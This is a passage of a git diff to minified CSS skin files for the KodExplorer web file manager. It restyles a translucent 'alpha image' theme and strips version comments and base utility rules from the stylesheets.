solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} -/* ver 4.25(2017-12-04) [build 1512368390.2268] */ \ No newline at end of file +.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .share-page-main .show-code{ border:1px solid rgba(100,100,100,0.2);background:rgba(255,255,255,0.9);border-radius:2px;} body .share-page-main .show-code pre{ font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by:hover, body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by.context-menu-active{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} \ No newline at end of file diff --git a/static/style/skin/alpha_image_sun.css b/static/style/skin/alpha_image_sun.css index 4c83cc5..41743ba 100755 --- a/static/style/skin/alpha_image_sun.css +++ b/static/style/skin/alpha_image_sun.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368390.092] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45p